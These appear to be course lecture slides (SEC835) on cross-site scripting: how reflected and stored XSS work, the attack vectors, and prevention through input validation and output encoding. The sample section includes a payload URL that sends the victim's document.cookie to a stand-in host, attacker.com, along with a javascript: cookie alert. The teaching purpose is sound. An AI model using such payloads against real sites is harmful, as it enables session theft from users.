SEC835

Prevent Cross-Site

Scripting (XSS) attack

Cross-Site ScriptingInstead of attacking the application’s server platform, Cross-Site Scripting (XSS) attacks are aimed at the users’ client browsers.A Cross Site Scripting vulnerability allows the introduction of malicious content (scripts) on a web site, that is then served to users (clients) • Malicious scripts get executed on clients

that trust the web site• Problem with potentially all client-side

scripting languagesWe use “XSS” to refer to these vulnerabilities, so as to avoid confusion with “CSS” (cascading style sheets)

Cross-Site Scripting (XSS) AttacksA classical XSS attack works this way:

The attacker identifies a web site that has one or more XSS bugs (for example echoing data input, or lacking data input validation)The attacker crafts a special URL that includes a malformed and malicious querystring containing HTML and scriptThe attacker finds a victim and gets him to click the linkThe victim clicks the link and the victim’s browser makes a GET request to the vulnerable server, passing the malicious querystring. And cookies. The vulnerable server echoes malicious input, including the script, back to the victim’s browserThe victim’s browser executes the malicious script, which may be crafted to pass data from the victim to the attacker, or other actions

Cross-Site Scripting Effects

This might reveal session identifiers and other sensitive data stored in form values.

Cookies may be changed

The attacker can replay cookies to reach the domain content previously available to the victim only

Remote-control of the browser by an attacker is also possible through advanced scripts

Legitimate sites spoofed

Cross-Site Scripting Attack in Action

1. The attacker sends a victim a link containing a malicious payload.

2. The victim, tricked into clicking the link, sends a request (and the payload) to the vulnerable application interface.

3. The interface (i.e. a user registration form) accepts the request (and payload), and responds with a confirmation screen. Embedded in the confirmation screen is the malicious code, which has been formatted in such a way that a browser will interpret it as if it were any other JavaScript code.

4. When the victim receives the response, the browser executes the payload, which could send cookie values (including session identifiers) and other sensitive data to the attacker.

Cross-Site Scripting Attack sample

A sample attack link (to view cookie values) might look like this:https://vulnserver.com/vulninterface.cgi?FirstName=Bob&EmailAddress=x”><script>document.location%3d‘http://attacker.com/c=‘+document.cookie;</script><“When the server sends back its response, the HTML code will be formatted as follows:…<form action=“…”>

Thank you for registering!<input name=“FirstName” value=“Bob”><input name=“EmailAddress”

value=“x”><script>document.location=‘http://attacker.com/c=‘+document.cookie;</script><“”></form>…The result is that the <script> block is executed and an entry will be made in the attacker’s web server log which includes the content of a victim’s cookie.

Common XSS Attack Vectors

Search engines that echo the search keyword that was enteredError messages that echo the string that contained the errorForms that are filled out where values are later presented to the userWeb message boards that allow users to post their own messages

Is there a need of ‘click”?

No, there is not

Script execution may be initiated by many other means, for example by a mouseover event, or onload, or other

XSS Vulnerability – Type 2XSS Type 2 has been implemented via

Stored data Local html files stored on a user’s computerHTML help filesHTML resources

XSS Vulnerability – Type 2XSS Type 2 has been implemented via stored data

The attacker enters comments or text that contains an embedded script, in a forum, newsgroup, feedback section of a web site, etc...The malicious code is stored by the vulnerable site, and presented to visitors. Each instance can be thought of as a "mine".The victim reads the comments. The attacker’s code is executed on the victim’s computer.

JavaScript urlsJavaScript urls have the format "javascript:code"• An example JavaScript url is

javascript:alert("Hello World")• Type it in your browser's address bar, watch the alert

window popup• Works also in HTML links

"javascript:alert(document.cookie)"JavaScript urls could be injected into the history list and then executed in the local machine zone or some other zone

Indirect Ways to Inject CodeActionScript (Flash) can load a JavaScript script from a url• Flash objects can be specified with the

<embed> tag• ActionScript allows the getURL("url")

function call• The url can be a JavaScript url!

Forums that allow Flash content are vulnerable• People viewing the Flash content get a

trojan JavaScriptSee http://www.cgisecurity.com/lib/flash-xss.htm

XSS attacks against local HTML files

Local html files stored on the computer may have a predictable location, e.g. My web

Can provide output of user’s input as well

Thus can be used by an attacker to craft XSS

HTML Help files are potentially vulnerable to XSS

XSS Attacks against HTML Resources

Browsers provide the ability to extract and display resources, such as text messages, images, html files, from DLL, or EXE filesIf the resource takes input from the URL and displays that, you might have an XSS issueThis means you should validate resource HTML data. Untrusted HTML input must run through an HTML policy engine to ensure that it does not contain XSS

Prevent Cross-Site Scripting

The strategy for preventing XSS:Filtering user-supplied input for meta-characters that may be interpreted by the client application

Encoding output by converting meta-characters into neutral aliases (i.e. HTML code)

Prevent social engineering• Educate users

Explain what ways of communication are valid

• Include messages to the website to advise about known frauds

Remedies

Strong data input validationBe hard-core about what constitutes valid input

As specific as possible

Provided closer to the data usage

Based on the white-list approach

Validated on the server side

White- vs. Black-List

Remedies

Implemented by web developersEncoding output

Forcing the codepage

Adding double quotes around all tag properties

Inserting data in the innerText property

Browser hardening

Remedies details

Encoding outputConvert dangerous symbols, including html tags, to their html representation

E.g. < becomes &lt

For ASP use HTMLEncode method

Forcing the codepageSet a codepage explicitly by specifying the allowable charset

Remedies details

Adding double quotes around the tag properties prevent interpretation of the part of the tag, where malicious scripts can be placed

innerText makes a similar effect

Browser hardening and security patching

Lab taskWork on the spreadsheet re Vulnerability

Cell O3 – put your comments

The venues leading to XSS

Work on the spreadsheet re CountermeasuresCells A11 – put your comments

How to prevent XSS

http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheethttp://en.wikipedia.org/wiki/Cross-site_scripting